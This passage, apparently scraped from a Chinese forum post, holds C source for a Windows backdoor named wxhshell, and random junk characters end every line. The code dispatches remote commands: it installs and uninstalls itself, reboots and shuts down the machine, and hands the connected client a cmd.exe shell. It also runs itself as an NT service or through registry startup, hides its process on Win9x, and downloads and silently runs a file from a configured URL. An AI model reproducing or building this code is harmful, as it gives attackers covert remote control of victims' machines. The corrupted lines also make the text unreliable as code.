      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b&!x.+d-z  
    break; 9>ML;$T&  
  } P.3kcZ   
  // 安装 TRFza}4:i  
  case 'i': { KSO%89R'  
    if(Install()) u_.Ig|Va  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7B?[SPrN[  
    else v*^'|QyM7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a 1~@m[  
    break; b$Q#Fv&P  
    } __i))2  
  // 卸载 W.> }5uVl6  
  case 'r': { Vo9Fl Yj  
    if(Uninstall()) 8*EqG5OP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oiItQ4{<  
    else PDb7h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8xx2+  
    break; p{;FO?  
    } ; g\r Y  
  // 显示 wxhshell 所在路径 {i)FDdDGD  
  case 'p': { ^t P|8k  
    char svExeFile[MAX_PATH]; K QCF "  
    strcpy(svExeFile,"\n\r"); &X)^G#  
      strcat(svExeFile,ExeFile); <AB({(  
        send(wsh,svExeFile,strlen(svExeFile),0); 5 ~YaXh^  
    break; HjT-5>I7f  
    } iz2;xa*  
  // 重启 sM@1Qyv&0  
  case 'b': { c.uD%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xd!GRJ<I  
    if(Boot(REBOOT)) 7o9[cq w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p5#UH  
    else { E2Ec`o  
    closesocket(wsh); jBJ|%K M  
    ExitThread(0); MZ_dI"J ,  
    } 8[x{]l[  
    break; s\.\z[1  
    } wcL|{rUXba  
  // 关机 e84O 6K6o  
  case 'd': { ~\u?Nf~L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G],W{<Pe  
    if(Boot(SHUTDOWN)) |t_SN,)dd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  m5lTf  
    else { ,R=)^Gh{  
    closesocket(wsh); 5)i+x-  
    ExitThread(0); Ki\J)l  
    } p*~b5'+ C+  
    break; :</KgR0I  
    } y~<_ux,  
  // 获取shell oEsqLh9a|  
  case 's': { M8|kmF\B  
    CmdShell(wsh); 6o~CX  
    closesocket(wsh); a[RqK#  
    ExitThread(0); j UB`=d|  
    break; .:iO$wjp5  
  } Xd'B0kQaT  
  // 退出 ?, cI!c`  
  case 'x': { p;)@R$*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 34t[]v|LD  
    CloseIt(wsh); h 2C9p2.  
    break; >Slu?{l'  
    } ~;I'.TW  
  // 离开 8xYeaK  
  case 'q': { %Ktlez:S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]?s^{  
    closesocket(wsh); s:^Xtox /  
    WSACleanup(); g4GU28l  
    exit(1); N.-*ig.YR7  
    break; 0[1/#0$  
        } A3Y}|7QA  
  } 8\m[Nuq5  
  } BHDd^bd  
CFG(4IMx  
  // 提示信息 tTPjCl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0|FQIhVuY  
} ]_2<uK}fg  
  } r-5xo.J'  
_Q}vPSJviC  
  return; #fxdZm,  
} i"#zb&~nF  
]%[.>mR  
// shell模块句柄 JjQ9AJ?-V  
int CmdShell(SOCKET sock) (w?W=guHu  
{ /\5u-o)  
STARTUPINFO si; 92Rm{n   
ZeroMemory(&si,sizeof(si)); [[KIuW~ot  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x_#'6H\1ga  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0yL%Pjn6  
PROCESS_INFORMATION ProcessInfo; 5/i]Jni  
char cmdline[]="cmd"; .>@]Im  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xi=Qxgx0I  
  return 0; L%I8no-Q  
} p0C|ECH  
@<B$LJ|jdG  
// 自身启动模式 Zmy:Etqi  
int StartFromService(void) L!^^3vn  
{ "\"sM{x  
typedef struct I1!m;5-c9k  
{ .%_=(C< E  
  DWORD ExitStatus; rG{,8*  
  DWORD PebBaseAddress; pR3K~bx^  
  DWORD AffinityMask; [+b&)jN*2  
  DWORD BasePriority; %^bN^Sq -  
  ULONG UniqueProcessId; $%"~.L4  
  ULONG InheritedFromUniqueProcessId; JvM:xy9  
}   PROCESS_BASIC_INFORMATION; t8t+wi!  
"^5%g%  
PROCNTQSIP NtQueryInformationProcess; :tX,`G  
idNg&'   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; en29<#8TO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?$%2\"wX~7  
~s>Ud<l%r  
  HANDLE             hProcess; _+. )8   
  PROCESS_BASIC_INFORMATION pbi; AmBLZ<f;  
"K#zY~>L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =VF%Z[Gm  
  if(NULL == hInst ) return 0; \(ju0qFqH  
9^^:Y3j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qfyuq]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _hi8m o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `D0H u!;  
*w6(nG'M{  
  if (!NtQueryInformationProcess) return 0; _[ S<Cb*1  
AI2@VvB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kl w9  
  if(!hProcess) return 0; 8J8@0  
>?GCH(eW%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dh .<&ri   
m]'P3^<{P  
  CloseHandle(hProcess); nmUMg  
)"f*Mp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wQN/MYF[  
if(hProcess==NULL) return 0; P30|TU+B  
pFwhv w  
HMODULE hMod; O 718s\#  
char procName[255]; w>6 cc#>q  
unsigned long cbNeeded; q 1+{MPJ  
e%JH q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [,ZHn$\  
5VGr<i&A  
  CloseHandle(hProcess); `_>44!M  
^"EK:|Y4%K  
if(strstr(procName,"services")) return 1; // 以服务启动 3ULn ]jA  
Ogp@!  
  return 0; // 注册表启动 VU \{<j{  
} wU/BRz8I  
=\i{dj  
// 主模块 4i(?5p>f  
int StartWxhshell(LPSTR lpCmdLine) 'klYGp  
{ br4 %(w(d  
  SOCKET wsl; T7j,%ay9  
BOOL val=TRUE; |]j2T 8_=  
  int port=0; CG[04y  
  struct sockaddr_in door; T&s}~S=m  
^THyohK  
  if(wscfg.ws_autoins) Install(); `*--vSi  
I.u[9CI7HU  
port=atoi(lpCmdLine); 9AHxa  
Ae>:i7.V  
if(port<=0) port=wscfg.ws_port; x^/453Lk  
Q a3+9  
  WSADATA data; D@o8Gerq~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '*n2<y  
B"2#}HM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,")/R/d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T:!Re*=JJ  
  door.sin_family = AF_INET;  El |Y]f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]?(_}""1  
  door.sin_port = htons(port); *&~wl(+O=  
< /9@RO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eT Z2f  
closesocket(wsl); {Zrf>ST  
return 1; Gw?$.@L'I6  
} e\' =#Hw  
^ /7L(  
  if(listen(wsl,2) == INVALID_SOCKET) { )G@/E^ySM  
closesocket(wsl); d@>1m:p  
return 1; MUvgmJsN  
} 7r wNjY#  
  Wxhshell(wsl); &,C;_3   
  WSACleanup(); _4~q&? }V  
dn:/8~B"X  
return 0; 3Tz~DdB  
jt6,id)&  
} +<w\K*  
T{zz3@2?  
// 以NT服务方式启动 n$y@a? al  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ::8c pUc`f  
{ QW_W5|_  
DWORD   status = 0; Y@Ti2bI`v  
  DWORD   specificError = 0xfffffff; 9O\N K:2  
)9z3T>QW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .|<+-Rsj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GKa_6X_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Eg 8rgiU  
  serviceStatus.dwWin32ExitCode     = 0; o1)8?h  
  serviceStatus.dwServiceSpecificExitCode = 0; (bON[6OGm  
  serviceStatus.dwCheckPoint       = 0; DI7g-h8`  
  serviceStatus.dwWaitHint       = 0; ]j57Gk%z  
"D?:8!\!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?$Ii_.  
  if (hServiceStatusHandle==0) return; zM!2JC  
-VkPy<)  
status = GetLastError(); 6tv-PgZ  
  if (status!=NO_ERROR) ioJr2wq6  
{ Z^r? MX/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T9&bY>f?  
    serviceStatus.dwCheckPoint       = 0; <}bF49z  
    serviceStatus.dwWaitHint       = 0; ##|]el%Y  
    serviceStatus.dwWin32ExitCode     = status; &~#y-o"  
    serviceStatus.dwServiceSpecificExitCode = specificError; f'%Pkk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dI) 9@UL  
    return; jRNDi_u?Wb  
  } ^Bu55q  
q-TDg0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,BE4z2a  
  serviceStatus.dwCheckPoint       = 0; QBL|n+  
  serviceStatus.dwWaitHint       = 0; iuS*Vw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); klSAY  
} ?"L ^ 0%  
o2W^!#]=  
// 处理NT服务事件,比如:启动、停止 eGj[%pk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =uD^#AX  
{ ?<6yKxn  
switch(fdwControl) 0t(js_  
{ $&jte_hv  
case SERVICE_CONTROL_STOP: =9L1Z \f  
  serviceStatus.dwWin32ExitCode = 0; go B'C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u @#fOu  
  serviceStatus.dwCheckPoint   = 0; p-JGDjR0G  
  serviceStatus.dwWaitHint     = 0; 2tI,`pSU  
  { @tg4rl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f&NXWo/  
  } B`wrr8"Rz  
  return; 0=Mu|G|Z  
case SERVICE_CONTROL_PAUSE: _FtsO<p)"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bW^JR,  
  break; 6gTc)rhRT  
case SERVICE_CONTROL_CONTINUE: nD\H$5>5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DZqY=Sze  
  break; vfloha p  
case SERVICE_CONTROL_INTERROGATE: pgEDh^[MW  
  break; NGVl/Qd  
}; {W$K@vuV;?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (fcJp)D  
} -)Of\4kx  
y{Vh?Z<E  
// 标准应用程序主函数 SmVL?wf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B<oBo&uA  
{ ,WtJ&S7?  
`/JuItL-  
// 获取操作系统版本 +~f=L- >  
OsIsNt=GetOsVer(); }0idFotck  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |ZtNCB5{^j  
rceX|i>9n  
  // 从命令行安装 Zgt(zh_l  
  if(strpbrk(lpCmdLine,"iI")) Install(); TeNPuY~WP  
17F<vo>l%  
  // 下载执行文件 ")@#B=8+3^  
if(wscfg.ws_downexe) { jzd)jJ0M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M<'He.n  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! q5qA*  
} !Z<=PdI1Ys  
i6)HC  
if(!OsIsNt) { w:07_`cH=  
// 如果时win9x,隐藏进程并且设置为注册表启动 2sH1) ,\  
HideProc(); x4-_K%  
StartWxhshell(lpCmdLine); 'b:e8m  
} LsO}a;t5  
else qB5.of[N!  
  if(StartFromService()) JasA w7  
  // 以服务方式启动 .X34[AXd  
  StartServiceCtrlDispatcher(DispatchTable); ;"|QW?>$D  
else !!d?o  
  // 普通方式启动 DTvCx6:!  
  StartWxhshell(lpCmdLine); #eIFRNRb)  
9nS fFGu  
return 0; bk:mk[  
}
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只看该作者 1 发表于: 2006-10-10
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